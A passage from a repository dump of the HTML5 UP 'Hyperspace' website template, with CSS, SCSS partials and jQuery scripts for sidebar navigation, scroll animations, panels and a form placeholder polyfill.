body.is-ie .wrapper.fullscreen {
height: auto;
}
}
.wrapper.fade-up > .inner {
-moz-transform: translateY(0);
-webkit-transform: translateY(0);
-ms-transform: translateY(0);
transform: translateY(0);
-moz-transition: opacity 1s ease, -moz-transform 1s ease;
-webkit-transition: opacity 1s ease, -webkit-transform 1s ease;
-ms-transition: opacity 1s ease, -ms-transform 1s ease;
transition: opacity 1s ease, transform 1s ease;
opacity: 1.0;
}
.wrapper.fade-up.inactive > .inner,
body.is-preload .wrapper.fade-up > .inner {
opacity: 0;
-moz-transform: translateY(1em);
-webkit-transform: translateY(1em);
-ms-transform: translateY(1em);
transform: translateY(1em);
}
.wrapper.fade-down > .inner {
-moz-transform: translateY(0);
-webkit-transform: translateY(0);
-ms-transform: translateY(0);
transform: translateY(0);
-moz-transition: opacity 1s ease, -moz-transform 1s ease;
-webkit-transition: opacity 1s ease, -webkit-transform 1s ease;
-ms-transition: opacity 1s ease, -ms-transform 1s ease;
transition: opacity 1s ease, transform 1s ease;
opacity: 1.0;
}
.wrapper.fade-down.inactive > .inner,
body.is-preload .wrapper.fade-down > .inner {
opacity: 0;
-moz-transform: translateY(-1em);
-webkit-transform: translateY(-1em);
-ms-transform: translateY(-1em);
transform: translateY(-1em);
}
.wrapper.fade > .inner {
-moz-transition: opacity 1s ease;
-webkit-transition: opacity 1s ease;
-ms-transition: opacity 1s ease;
transition: opacity 1s ease;
opacity: 1.0;
}
.wrapper.fade.inactive > .inner,
body.is-preload .wrapper.fade > .inner {
opacity: 0;
}
/* Header */
#header {
display: -moz-flex;
display: -webkit-flex;
display: -ms-flex;
display: flex;
background-color: #111111;
cursor: default;
padding: 1.75em 2em;
}
#header > .title {
border: 0;
color: #ffffff;
display: block;
font-size: 1.25em;
font-weight: bold;
}
#header > nav {
-moz-flex: 1;
-webkit-flex: 1;
-ms-flex: 1;
flex: 1;
text-align: right;
}
#header > nav > ul {
margin: 0;
padding: 0;
}
#header > nav > ul > li {
display: inline-block;
margin-left: 1.75em;
padding: 0;
vertical-align: middle;
}
#header > nav > ul > li:first-child {
margin-left: 0;
}
#header > nav > ul > li a {
border: 0;
color: rgba(255, 255, 255, 0.35);
display: inline-block;
font-size: 0.6em;
font-weight: bold;
letter-spacing: 0.25em;
text-transform: uppercase;
}
#header > nav > ul > li a:hover {
color: rgba(255, 255, 255, 0.55);
}
#header > nav > ul > li a.active {
color: #ffffff;
}
@media screen and (max-width: 736px) {
#header {
padding: 1em 2em;
}
}
@media screen and (max-width: 480px) {
#header {
display: block;
padding: 0 2em;
text-align: left;
}
#header .title {
font-size: 1.25em;
padding: 1em 0;
}
#header > nav {
border-top: solid 1px rgba(255, 255, 255, 0.15);
text-align: inherit;
}
#header > nav > ul > li {
margin-left: 1.5em;
}
#header > nav > ul > li a {
height: 6em;
line-height: 6em;
}
}
/* Wrapper (main) */
#sidebar + #wrapper {
margin-left: 18em;
}
@media screen and (max-width: 1280px) {
#sidebar + #wrapper {
margin-left: 0;
padding-top: 3.5em;
}
}
@media screen and (max-width: 736px) {
#sidebar + #wrapper {
padding-top: 0;
}
}
#header + #wrapper > .wrapper > .inner {
margin: 0 auto;
}
/* Footer */
#sidebar + #wrapper + #footer {
margin-left: 18em;
}
@media screen and (max-width: 1280px) {
#sidebar + #wrapper + #footer {
margin-left: 0;
}
}
#footer > .inner a {
border-bottom-color: rgba(255, 255, 255, 0.15);
}
#footer > .inner a:hover {
border-bottom-color: transparent;
}
#footer > .inner .menu {
font-size: 0.8em;
color: rgba(255, 255, 255, 0.15);
}
#header + #wrapper + #footer > .inner {
margin: 0 auto;
}
/* Sidebar */
#sidebar {
padding: 2.5em 2.5em 0.5em 2.5em ;
background: #111111;
cursor: default;
height: 100vh;
left: 0;
overflow-x: hidden;
overflow-y: auto;
position: fixed;
text-align: right;
top: 0;
width: 18em;
z-index: 10000;
}
#sidebar > .inner {
display: -moz-flex;
display: -webkit-flex;
display: -ms-flex;
display: flex;
-moz-flex-direction: column;
-webkit-flex-direction: column;
-ms-flex-direction: column;
flex-direction: column;
-moz-justify-content: center;
-webkit-justify-content: center;
-ms-justify-content: center;
justify-content: center;
-moz-transform: translateY(0);
-webkit-transform: translateY(0);
-ms-transform: translateY(0);
transform: translateY(0);
-moz-transition: opacity 1s ease;
-webkit-transition: opacity 1s ease;
-ms-transition: opacity 1s ease;
transition: opacity 1s ease;
min-height: 100%;
opacity: 1;
width: 100%;
}
body.is-ie #sidebar > .inner {
height: 100%;
}
#sidebar nav > ul {
list-style: none;
padding: 0;
}
#sidebar nav > ul > li {
-moz-transform: translateY(0);
-webkit-transform: translateY(0);
-ms-transform: translateY(0);
transform: translateY(0);
-moz-transition: opacity 0.15s ease, -moz-transform 0.75s ease;
-webkit-transition: opacity 0.15s ease, -webkit-transform 0.75s ease;
-ms-transition: opacity 0.15s ease, -ms-transform 0.75s ease;
transition: opacity 0.15s ease, transform 0.75s ease;
margin: 1.5em 0 0 0;
opacity: 1;
padding: 0;
position: relative;
}
#sidebar nav > ul > li:first-child {
margin: 0;
}
#sidebar nav > ul > li:nth-child(1) {
-moz-transition-delay: 0.45s;
-webkit-transition-delay: 0.45s;
-ms-transition-delay: 0.45s;
transition-delay: 0.45s;
}
#sidebar nav > ul > li:nth-child(2) {
-moz-transition-delay: 0.65s;
-webkit-transition-delay: 0.65s;
-ms-transition-delay: 0.65s;
transition-delay: 0.65s;
}
#sidebar nav > ul > li:nth-child(3) {
-moz-transition-delay: 0.85s;
-webkit-transition-delay: 0.85s;
-ms-transition-delay: 0.85s;
transition-delay: 0.85s;
}
#sidebar nav > ul > li:nth-child(4) {
-moz-transition-delay: 1.05s;
-webkit-transition-delay: 1.05s;
-ms-transition-delay: 1.05s;
transition-delay: 1.05s;
}
#sidebar nav > ul > li:nth-child(5) {
-moz-transition-delay: 1.25s;
-webkit-transition-delay: 1.25s;
-ms-transition-delay: 1.25s;
transition-delay: 1.25s;
}
#sidebar nav > ul > li:nth-child(6) {
-moz-transition-delay: 1.45s;
-webkit-transition-delay: 1.45s;
-ms-transition-delay: 1.45s;
transition-delay: 1.45s;
}
#sidebar nav > ul > li:nth-child(7) {
-moz-transition-delay: 1.65s;
-webkit-transition-delay: 1.65s;
-ms-transition-delay: 1.65s;
transition-delay: 1.65s;
}
#sidebar nav > ul > li:nth-child(8) {
-moz-transition-delay: 1.85s;
-webkit-transition-delay: 1.85s;
-ms-transition-delay: 1.85s;
transition-delay: 1.85s;
}
#sidebar nav > ul > li:nth-child(9) {
-moz-transition-delay: 2.05s;
-webkit-transition-delay: 2.05s;
-ms-transition-delay: 2.05s;
transition-delay: 2.05s;
}
#sidebar nav > ul > li:nth-child(10) {
-moz-transition-delay: 2.25s;
-webkit-transition-delay: 2.25s;
-ms-transition-delay: 2.25s;
transition-delay: 2.25s;
}
#sidebar nav > ul > li:nth-child(11) {
-moz-transition-delay: 2.45s;
-webkit-transition-delay: 2.45s;
-ms-transition-delay: 2.45s;
transition-delay: 2.45s;
}
#sidebar nav > ul > li:nth-child(12) {
-moz-transition-delay: 2.65s;
-webkit-transition-delay: 2.65s;
-ms-transition-delay: 2.65s;
transition-delay: 2.65s;
}
#sidebar nav > ul > li:nth-child(13) {
-moz-transition-delay: 2.85s;
-webkit-transition-delay: 2.85s;
-ms-transition-delay: 2.85s;
transition-delay: 2.85s;
}
#sidebar nav > ul > li:nth-child(14) {
-moz-transition-delay: 3.05s;
-webkit-transition-delay: 3.05s;
-ms-transition-delay: 3.05s;
transition-delay: 3.05s;
}
#sidebar nav > ul > li:nth-child(15) {
-moz-transition-delay: 3.25s;
-webkit-transition-delay: 3.25s;
-ms-transition-delay: 3.25s;
transition-delay: 3.25s;
}
#sidebar nav > ul > li:nth-child(16) {
-moz-transition-delay: 3.45s;
-webkit-transition-delay: 3.45s;
-ms-transition-delay: 3.45s;
transition-delay: 3.45s;
}
#sidebar nav > ul > li:nth-child(17) {
-moz-transition-delay: 3.65s;
-webkit-transition-delay: 3.65s;
-ms-transition-delay: 3.65s;
transition-delay: 3.65s;
}
#sidebar nav > ul > li:nth-child(18) {
-moz-transition-delay: 3.85s;
-webkit-transition-delay: 3.85s;
-ms-transition-delay: 3.85s;
transition-delay: 3.85s;
}
#sidebar nav > ul > li:nth-child(19) {
-moz-transition-delay: 4.05s;
-webkit-transition-delay: 4.05s;
-ms-transition-delay: 4.05s;
transition-delay: 4.05s;
}
#sidebar nav > ul > li:nth-child(20) {
-moz-transition-delay: 4.25s;
-webkit-transition-delay: 4.25s;
-ms-transition-delay: 4.25s;
transition-delay: 4.25s;
}
#sidebar nav a {
-moz-transition: color 0.2s ease;
-webkit-transition: color 0.2s ease;
-ms-transition: color 0.2s ease;
transition: color 0.2s ease;
border: 0;
color: rgba(255, 255, 255, 0.35);
display: block;
font-size: 0.6em;
font-weight: bold;
letter-spacing: 0.25em;
line-height: 1.75;
outline: 0;
padding: 1.35em 0;
position: relative;
text-decoration: none;
text-transform: uppercase;
}
#sidebar nav a:before, #sidebar nav a:after {
border-radius: 0.2em;
bottom: 0;
content: '';
height: 0.2em;
position: absolute;
right: 0;
width: 100%;
}
#sidebar nav a:before {
background: #9d9d9d;
}
#sidebar nav a:after {
background-image: -moz-linear-gradient(to right, #9d9d9d, #FF124f);
background-image: -webkit-linear-gradient(to right, #9d9d9d, #FF124f);
background-image: -ms-linear-gradient(to right, #9d9d9d, #FF124f);
background-image: linear-gradient(to right, #9d9d9d, #FF124f);
-moz-transition: max-width 0.2s ease;
-webkit-transition: max-width 0.2s ease;
-ms-transition: max-width 0.2s ease;
transition: max-width 0.2s ease;
max-width: 0;
}
#sidebar nav a:hover {
color: rgba(255, 255, 255, 0.55);
}
#sidebar nav a.active {
color: #FF124f;
}
#sidebar nav a.active:after {
max-width: 100%;
}
body.is-preload #sidebar > .inner {
opacity: 0;
}
body.is-preload #sidebar nav ul li {
-moz-transform: translateY(2em);
-webkit-transform: translateY(2em);
-ms-transform: translateY(2em);
transform: translateY(2em);
opacity: 0;
}
@media screen and (max-width: 1280px) {
#sidebar {
height: 3.5em;
left: 0;
line-height: 3.5em;
overflow: hidden;
padding: 0;
text-align: center;
top: 0;
width: 100%;
}
#sidebar > .inner {
-moz-flex-direction: row;
-webkit-flex-direction: row;
-ms-flex-direction: row;
flex-direction: row;
-moz-align-items: -moz-stretch;
-webkit-align-items: -webkit-stretch;
-ms-align-items: -ms-stretch;
align-items: stretch;
height: inherit;
line-height: inherit;
}
#sidebar nav {
height: inherit;
line-height: inherit;
}
#sidebar nav ul {
display: -moz-flex;
display: -webkit-flex;
display: -ms-flex;
display: flex;
height: inherit;
line-height: inherit;
margin: 0;
}
#sidebar nav ul li {
display: block;
height: inherit;
line-height: inherit;
margin: 0 0 0 2em;
padding: 0;
}
#sidebar nav a {
height: inherit;
line-height: inherit;
padding: 0;
}
#sidebar nav a:after {
background-image: none;
background-color: #b74e91;
}
}
@media screen and (max-width: 736px) {
#sidebar {
display: none;
}
}
/* Intro */
#intro {
background-attachment: fixed;
background-image: url("images/background.svg");
background-position: top right;
background-repeat: no-repeat;
background-size: 100% 100%;
}
#intro p {
font-size: 1.25em;
}
@media screen and (max-width: 980px) {
#intro p br {
display: none;
}
}
@media screen and (max-width: 736px) {
#intro p {
font-size: 1em;
}
}
@media screen and (max-width: 1280px) {
#intro {
background-attachment: scroll;
}
}
================================================
FILE: 2020/assets/css/noscript.css
================================================
/*
Hyperspace by HTML5 UP
html5up.net | @ajlkn
Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
*/
/* Spotlights */
.spotlights > section > .image:before {
opacity: 0 !important;
}
.spotlights > section > .content > .inner {
-moz-transform: none !important;
-webkit-transform: none !important;
-ms-transform: none !important;
transform: none !important;
opacity: 1 !important;
}
/* Wrapper */
.wrapper > .inner {
opacity: 1 !important;
-moz-transform: none !important;
-webkit-transform: none !important;
-ms-transform: none !important;
transform: none !important;
}
/* Sidebar */
#sidebar > .inner {
opacity: 1 !important;
}
#sidebar nav > ul > li {
-moz-transform: none !important;
-webkit-transform: none !important;
-ms-transform: none !important;
transform: none !important;
opacity: 1 !important;
}
================================================
FILE: 2020/assets/js/main.js
================================================
/*
Hyperspace by HTML5 UP
html5up.net | @ajlkn
Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
*/
(function($) {
var $window = $(window),
$body = $('body'),
$sidebar = $('#sidebar');
// Breakpoints.
breakpoints({
xlarge: [ '1281px', '1680px' ],
large: [ '981px', '1280px' ],
medium: [ '737px', '980px' ],
small: [ '481px', '736px' ],
xsmall: [ null, '480px' ]
});
// Hack: Enable IE flexbox workarounds.
if (browser.name == 'ie')
$body.addClass('is-ie');
// Play initial animations on page load.
$window.on('load', function() {
window.setTimeout(function() {
$body.removeClass('is-preload');
}, 100);
});
// Forms.
// Hack: Activate non-input submits.
$('form').on('click', '.submit', function(event) {
// Stop propagation, default.
event.stopPropagation();
event.preventDefault();
// Submit form.
$(this).parents('form').submit();
});
// Sidebar.
if ($sidebar.length > 0) {
var $sidebar_a = $sidebar.find('a');
$sidebar_a
.addClass('scrolly')
.on('click', function() {
var $this = $(this);
// External link? Bail.
if ($this.attr('href').charAt(0) != '#')
return;
// Deactivate all links.
$sidebar_a.removeClass('active');
// Activate link *and* lock it (so Scrollex doesn't try to activate other links as we're scrolling to this one's section).
$this
.addClass('active')
.addClass('active-locked');
})
.each(function() {
var $this = $(this),
id = $this.attr('href'),
$section = $(id);
// No section for this link? Bail.
if ($section.length < 1)
return;
// Scrollex.
$section.scrollex({
mode: 'middle',
top: '-20vh',
bottom: '-20vh',
initialize: function() {
// Deactivate section.
$section.addClass('inactive');
},
enter: function() {
// Activate section.
$section.removeClass('inactive');
// No locked links? Deactivate all links and activate this section's one.
if ($sidebar_a.filter('.active-locked').length == 0) {
$sidebar_a.removeClass('active');
$this.addClass('active');
}
// Otherwise, if this section's link is the one that's locked, unlock it.
else if ($this.hasClass('active-locked'))
$this.removeClass('active-locked');
}
});
});
}
// Scrolly.
$('.scrolly').scrolly({
speed: 1000,
offset: function() {
// If <=large, >small, and sidebar is present, use its height as the offset.
if (breakpoints.active('<=large')
&& !breakpoints.active('<=small')
&& $sidebar.length > 0)
return $sidebar.height();
return 0;
}
});
// Spotlights.
$('.spotlights > section')
.scrollex({
mode: 'middle',
top: '-10vh',
bottom: '-10vh',
initialize: function() {
// Deactivate section.
$(this).addClass('inactive');
},
enter: function() {
// Activate section.
$(this).removeClass('inactive');
}
})
.each(function() {
var $this = $(this),
$image = $this.find('.image'),
$img = $image.find('img'),
x;
// Assign image.
$image.css('background-image', 'url(' + $img.attr('src') + ')');
// Set background position.
if (x = $img.data('position'))
$image.css('background-position', x);
// Hide <img>.
$img.hide();
});
// Features.
$('.features')
.scrollex({
mode: 'middle',
top: '-20vh',
bottom: '-20vh',
initialize: function() {
// Deactivate section.
$(this).addClass('inactive');
},
enter: function() {
// Activate section.
$(this).removeClass('inactive');
}
});
})(jQuery);
================================================
FILE: 2020/assets/js/util.js
================================================
(function($) {
/**
* Generate an indented list of links from a nav. Meant for use with panel().
* @return {jQuery} jQuery object.
*/
$.fn.navList = function() {
var $this = $(this);
$a = $this.find('a'),
b = [];
$a.each(function() {
var $this = $(this),
indent = Math.max(0, $this.parents('li').length - 1),
href = $this.attr('href'),
target = $this.attr('target');
b.push(
'<a ' +
'class="link depth-' + indent + '"' +
( (typeof target !== 'undefined' && target != '') ? ' target="' + target + '"' : '') +
( (typeof href !== 'undefined' && href != '') ? ' href="' + href + '"' : '') +
'>' +
'<span class="indent-' + indent + '"></span>' +
$this.text() +
'</a>'
);
});
return b.join('');
};
/**
* Panel-ify an element.
* @param {object} userConfig User config.
* @return {jQuery} jQuery object.
*/
$.fn.panel = function(userConfig) {
// No elements?
if (this.length == 0)
return $this;
// Multiple elements?
if (this.length > 1) {
for (var i=0; i < this.length; i++)
$(this[i]).panel(userConfig);
return $this;
}
// Vars.
var $this = $(this),
$body = $('body'),
$window = $(window),
id = $this.attr('id'),
config;
// Config.
config = $.extend({
// Delay.
delay: 0,
// Hide panel on link click.
hideOnClick: false,
// Hide panel on escape keypress.
hideOnEscape: false,
// Hide panel on swipe.
hideOnSwipe: false,
// Reset scroll position on hide.
resetScroll: false,
// Reset forms on hide.
resetForms: false,
// Side of viewport the panel will appear.
side: null,
// Target element for "class".
target: $this,
// Class to toggle.
visibleClass: 'visible'
}, userConfig);
// Expand "target" if it's not a jQuery object already.
if (typeof config.target != 'jQuery')
config.target = $(config.target);
// Panel.
// Methods.
$this._hide = function(event) {
// Already hidden? Bail.
if (!config.target.hasClass(config.visibleClass))
return;
// If an event was provided, cancel it.
if (event) {
event.preventDefault();
event.stopPropagation();
}
// Hide.
config.target.removeClass(config.visibleClass);
// Post-hide stuff.
window.setTimeout(function() {
// Reset scroll position.
if (config.resetScroll)
$this.scrollTop(0);
// Reset forms.
if (config.resetForms)
$this.find('form').each(function() {
this.reset();
});
}, config.delay);
};
// Vendor fixes.
$this
.css('-ms-overflow-style', '-ms-autohiding-scrollbar')
.css('-webkit-overflow-scrolling', 'touch');
// Hide on click.
if (config.hideOnClick) {
$this.find('a')
.css('-webkit-tap-highlight-color', 'rgba(0,0,0,0)');
$this
.on('click', 'a', function(event) {
var $a = $(this),
href = $a.attr('href'),
target = $a.attr('target');
if (!href || href == '#' || href == '' || href == '#' + id)
return;
// Cancel original event.
event.preventDefault();
event.stopPropagation();
// Hide panel.
$this._hide();
// Redirect to href.
window.setTimeout(function() {
if (target == '_blank')
window.open(href);
else
window.location.href = href;
}, config.delay + 10);
});
}
// Event: Touch stuff.
$this.on('touchstart', function(event) {
$this.touchPosX = event.originalEvent.touches[0].pageX;
$this.touchPosY = event.originalEvent.touches[0].pageY;
})
$this.on('touchmove', function(event) {
if ($this.touchPosX === null
|| $this.touchPosY === null)
return;
var diffX = $this.touchPosX - event.originalEvent.touches[0].pageX,
diffY = $this.touchPosY - event.originalEvent.touches[0].pageY,
th = $this.outerHeight(),
ts = ($this.get(0).scrollHeight - $this.scrollTop());
// Hide on swipe?
if (config.hideOnSwipe) {
var result = false,
boundary = 20,
delta = 50;
switch (config.side) {
case 'left':
result = (diffY < boundary && diffY > (-1 * boundary)) && (diffX > delta);
break;
case 'right':
result = (diffY < boundary && diffY > (-1 * boundary)) && (diffX < (-1 * delta));
break;
case 'top':
result = (diffX < boundary && diffX > (-1 * boundary)) && (diffY > delta);
break;
case 'bottom':
result = (diffX < boundary && diffX > (-1 * boundary)) && (diffY < (-1 * delta));
break;
default:
break;
}
if (result) {
$this.touchPosX = null;
$this.touchPosY = null;
$this._hide();
return false;
}
}
// Prevent vertical scrolling past the top or bottom.
if (($this.scrollTop() < 0 && diffY < 0)
|| (ts > (th - 2) && ts < (th + 2) && diffY > 0)) {
event.preventDefault();
event.stopPropagation();
}
});
// Event: Prevent certain events inside the panel from bubbling.
$this.on('click touchend touchstart touchmove', function(event) {
event.stopPropagation();
});
// Event: Hide panel if a child anchor tag pointing to its ID is clicked.
$this.on('click', 'a[href="#' + id + '"]', function(event) {
event.preventDefault();
event.stopPropagation();
config.target.removeClass(config.visibleClass);
});
// Body.
// Event: Hide panel on body click/tap.
$body.on('click touchend', function(event) {
$this._hide(event);
});
// Event: Toggle.
$body.on('click', 'a[href="#' + id + '"]', function(event) {
event.preventDefault();
event.stopPropagation();
config.target.toggleClass(config.visibleClass);
});
// Window.
// Event: Hide on ESC.
if (config.hideOnEscape)
$window.on('keydown', function(event) {
if (event.keyCode == 27)
$this._hide(event);
});
return $this;
};
/**
* Apply "placeholder" attribute polyfill to one or more forms.
* @return {jQuery} jQuery object.
*/
$.fn.placeholder = function() {
// Browser natively supports placeholders? Bail.
if (typeof (document.createElement('input')).placeholder != 'undefined')
return $(this);
// No elements?
if (this.length == 0)
return $this;
// Multiple elements?
if (this.length > 1) {
for (var i=0; i < this.length; i++)
$(this[i]).placeholder();
return $this;
}
// Vars.
var $this = $(this);
// Text, TextArea.
$this.find('input[type=text],textarea')
.each(function() {
var i = $(this);
if (i.val() == ''
|| i.val() == i.attr('placeholder'))
i
.addClass('polyfill-placeholder')
.val(i.attr('placeholder'));
})
.on('blur', function() {
var i = $(this);
if (i.attr('name').match(/-polyfill-field$/))
return;
if (i.val() == '')
i
.addClass('polyfill-placeholder')
.val(i.attr('placeholder'));
})
.on('focus', function() {
var i = $(this);
if (i.attr('name').match(/-polyfill-field$/))
return;
if (i.val() == i.attr('placeholder'))
i
.removeClass('polyfill-placeholder')
.val('');
});
// Password.
$this.find('input[type=password]')
.each(function() {
var i = $(this);
var x = $(
$('<div>')
.append(i.clone())
.remove()
.html()
.replace(/type="password"/i, 'type="text"')
.replace(/type=password/i, 'type=text')
);
if (i.attr('id') != '')
x.attr('id', i.attr('id') + '-polyfill-field');
if (i.attr('name') != '')
x.attr('name', i.attr('name') + '-polyfill-field');
x.addClass('polyfill-placeholder')
.val(x.attr('placeholder')).insertAfter(i);
if (i.val() == '')
i.hide();
else
x.hide();
i
.on('blur', function(event) {
event.preventDefault();
var x = i.parent().find('input[name=' + i.attr('name') + '-polyfill-field]');
if (i.val() == '') {
i.hide();
x.show();
}
});
x
.on('focus', function(event) {
event.preventDefault();
var i = x.parent().find('input[name=' + x.attr('name').replace('-polyfill-field', '') + ']');
x.hide();
i
.show()
.focus();
})
.on('keypress', function(event) {
event.preventDefault();
x.val('');
});
});
// Events.
$this
.on('submit', function() {
$this.find('input[type=text],input[type=password],textarea')
.each(function(event) {
var i = $(this);
if (i.attr('name').match(/-polyfill-field$/))
i.attr('name', '');
if (i.val() == i.attr('placeholder')) {
i.removeClass('polyfill-placeholder');
i.val('');
}
});
})
.on('reset', function(event) {
event.preventDefault();
$this.find('select')
.val($('option:first').val());
$this.find('input,textarea')
.each(function() {
var i = $(this),
x;
i.removeClass('polyfill-placeholder');
switch (this.type) {
case 'submit':
case 'reset':
break;
case 'password':
i.val(i.attr('defaultValue'));
x = i.parent().find('input[name=' + i.attr('name') + '-polyfill-field]');
if (i.val() == '') {
i.hide();
x.show();
}
else {
i.show();
x.hide();
}
break;
case 'checkbox':
case 'radio':
i.attr('checked', i.attr('defaultValue'));
break;
case 'text':
case 'textarea':
i.val(i.attr('defaultValue'));
if (i.val() == '') {
i.addClass('polyfill-placeholder');
i.val(i.attr('placeholder'));
}
break;
default:
i.val(i.attr('defaultValue'));
break;
}
});
});
return $this;
};
/**
* Moves elements to/from the first positions of their respective parents.
* @param {jQuery} $elements Elements (or selector) to move.
* @param {bool} condition If true, moves elements to the top. Otherwise, moves elements back to their original locations.
*/
$.prioritize = function($elements, condition) {
var key = '__prioritize';
// Expand $elements if it's not already a jQuery object.
if (typeof $elements != 'jQuery')
$elements = $($elements);
// Step through elements.
$elements.each(function() {
var $e = $(this), $p,
$parent = $e.parent();
// No parent? Bail.
if ($parent.length == 0)
return;
// Not moved? Move it.
if (!$e.data(key)) {
// Condition is false? Bail.
if (!condition)
return;
// Get placeholder (which will serve as our point of reference for when this element needs to move back).
$p = $e.prev();
// Couldn't find anything? Means this element's already at the top, so bail.
if ($p.length == 0)
return;
// Move element to top of parent.
$e.prependTo($parent);
// Mark element as moved.
$e.data(key, $p);
}
// Moved already?
else {
// Condition is true? Bail.
if (condition)
return;
$p = $e.data(key);
// Move element back to its original location (using our placeholder).
$e.insertAfter($p);
// Unmark element as moved.
$e.removeData(key);
}
});
};
})(jQuery);
================================================
FILE: 2020/assets/sass/base/_page.scss
================================================
///
/// Hyperspace by HTML5 UP
/// html5up.net | @ajlkn
/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
///
/* Basic */
// MSIE: Required for IEMobile.
@-ms-viewport {
width: device-width;
}
// MSIE: Prevents scrollbar from overlapping content.
body {
-ms-overflow-style: scrollbar;
}
// Ensures page width is always >=320px.
@include breakpoint('<=xsmall') {
html, body {
min-width: 320px;
}
}
// Set box model to border-box.
// Based on css-tricks.com/inheriting-box-sizing-probably-slightly-better-best-practice
html {
box-sizing: border-box;
}
*, *:before, *:after {
box-sizing: inherit;
}
body {
background: _palette(bg);
// Stops initial animations until page loads.
&.is-preload {
*, *:before, *:after {
@include vendor('animation', 'none !important');
@include vendor('transition', 'none !important');
}
}
}
================================================
FILE: 2020/assets/sass/base/_reset.scss
================================================
///
/// Hyperspace by HTML5 UP
/// html5up.net | @ajlkn
/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
///
// Reset.
// Based on meyerweb.com/eric/tools/css/reset (v2.0 | 20110126 | License: public domain)
html, body, div, span, applet, object,
iframe, h1, h2, h3, h4, h5, h6, p, blockquote,
pre, a, abbr, acronym, address, big, cite,
code, del, dfn, em, img, ins, kbd, q, s, samp,
small, strike, strong, sub, sup, tt, var, b,
u, i, center, dl, dt, dd, ol, ul, li, fieldset,
form, label, legend, table, caption, tbody,
tfoot, thead, tr, th, td, article, aside,
canvas, details, embed, figure, figcaption,
footer, header, hgroup, menu, nav, output, ruby,
section, summary, time, mark, audio, video {
margin: 0;
padding: 0;
border: 0;
font-size: 100%;
font: inherit;
vertical-align: baseline;
}
article, aside, details, figcaption, figure,
footer, header, hgroup, menu, nav, section {
display: block;
}
body {
line-height: 1;
}
ol, ul {
list-style:none;
}
blockquote, q {
quotes: none;
&:before,
&:after {
content: '';
content: none;
}
}
table {
border-collapse: collapse;
border-spacing: 0;
}
body {
-webkit-text-size-adjust: none;
}
mark {
background-color: transparent;
color: inherit;
}
input::-moz-focus-inner {
border: 0;
padding: 0;
}
input, select, textarea {
-moz-appearance: none;
-webkit-appearance: none;
-ms-appearance: none;
appearance: none;
}
================================================
FILE: 2020/assets/sass/base/_typography.scss
================================================
///
/// Hyperspace by HTML5 UP
/// html5up.net | @ajlkn
/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
///
/* Type */
body, input, select, textarea {
color: _palette(fg);
font-family: _font(family);
font-size: 16.5pt;
font-weight: _font(weight);
line-height: 1.75;
@include breakpoint('<=xlarge') {
font-size: 13pt;
}
@include breakpoint('<=large') {
font-size: 12pt;
}
@include breakpoint('<=xxsmall') {
font-size: 11pt;
}
}
a {
@include vendor('transition', (
'color #{_duration(transition)} ease',
'border-bottom-color #{_duration(transition)} ease'
));
border-bottom: dotted 1px _palette(fg-light);
color: inherit;
text-decoration: none;
&:hover {
border-bottom-color: transparent;
color: _palette(fg-bold);
}
}
strong, b {
color: _palette(fg-bold);
font-weight: _font(weight-bold);
}
em, i {
font-style: italic;
}
p {
margin: 0 0 _size(element-margin) 0;
}
h1, h2, h3, h4, h5, h6 {
color: _palette(fg-bold);
font-weight: _font(weight-bold);
line-height: 1.5;
margin: 0 0 (_size(element-margin) * 0.25) 0;
a {
color: inherit;
text-decoration: none;
}
}
h1 {
font-size: 2.75em;
&.major {
margin: 0 0 (_size(element-margin) * 0.65) 0;
position: relative;
padding-bottom: 0.35em;
&:after {
@include vendor('background-image', 'linear-gradient(to right, #{_palette(accent1)}, #{_palette(accent3)})');
@include vendor('transition', 'max-width #{_duration(transition)} ease');
border-radius: 0.2em;
bottom: 0;
content: '';
height: 0.05em;
position: absolute;
right: 0;
width: 100%;
}
}
}
h2 {
font-size: 1.75em;
}
h3 {
font-size: 1.1em;
}
h4 {
font-size: 1em;
}
h5 {
font-size: 0.8em;
}
h6 {
font-size: 0.6em;
}
@include breakpoint('<=small') {
h1 {
font-size: 2em;
}
h2 {
font-size: 1.25em;
}
h3 {
font-size: 1em;
}
h4 {
font-size: 0.8em;
}
h5 {
font-size: 0.6em;
}
h6 {
font-size: 0.6em;
}
}
sub {
font-size: 0.8em;
position: relative;
top: 0.5em;
}
sup {
font-size: 0.8em;
position: relative;
top: -0.5em;
}
blockquote {
border-left: solid (_size(border-width) * 4) _palette(border);
font-style: italic;
margin: 0 0 _size(element-margin) 0;
padding: (_size(element-margin) / 4) 0 (_size(element-margin) / 4) _size(element-margin);
}
code {
background: _palette(border-bg);
border-radius: _size(border-radius);
border: solid _size(border-width) _palette(border);
font-family: _font(family-fixed);
font-size: 0.9em;
margin: 0 0.25em;
padding: 0.25em 0.65em;
}
pre {
-webkit-overflow-scrolling: touch;
font-family: _font(family-fixed);
font-size: 0.9em;
margin: 0 0 _size(element-margin) 0;
code {
display: block;
line-height: 1.75em;
padding: 1em 1.5em;
overflow-x: auto;
}
}
hr {
border: 0;
border-bottom: solid _size(border-width) _palette(border);
margin: _size(element-margin) 0;
&.major {
margin: (_size(element-margin) * 1.5) 0;
}
}
.align-left {
text-align: left;
}
.align-center {
text-align: center;
}
.align-right {
text-align: right;
}
================================================
FILE: 2020/assets/sass/components/_actions.scss
================================================
///
/// Hyperspace by HTML5 UP
/// html5up.net | @ajlkn
/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
///
/* Actions */
ul.actions {
@include vendor('display', 'flex');
cursor: default;
list-style: none;
margin-left: (_size(element-margin) * -0.5);
padding-left: 0;
li {
padding: 0 0 0 (_size(element-margin) * 0.5);
vertical-align: middle;
}
&.special {
@include vendor('justify-content', 'center');
width: 100%;
margin-left: 0;
li {
&:first-child {
padding-left: 0;
}
}
}
&.stacked {
@include vendor('flex-direction', 'column');
margin-left: 0;
li {
padding: (_size(element-margin) * 0.65) 0 0 0;
&:first-child {
padding-top: 0;
}
}
}
&.fit {
width: calc(100% + #{_size(element-margin) * 0.5});
li {
@include vendor('flex-grow', '1');
@include vendor('flex-shrink', '1');
width: 100%;
> * {
width: 100%;
}
}
&.stacked {
width: 100%;
}
}
@include breakpoint('<=xsmall') {
&:not(.fixed) {
@include vendor('flex-direction', 'column');
margin-left: 0;
width: 100% !important;
li {
@include vendor('flex-grow', '1');
@include vendor('flex-shrink', '1');
padding: (_size(element-margin) * 0.5) 0 0 0;
text-align: center;
width: 100%;
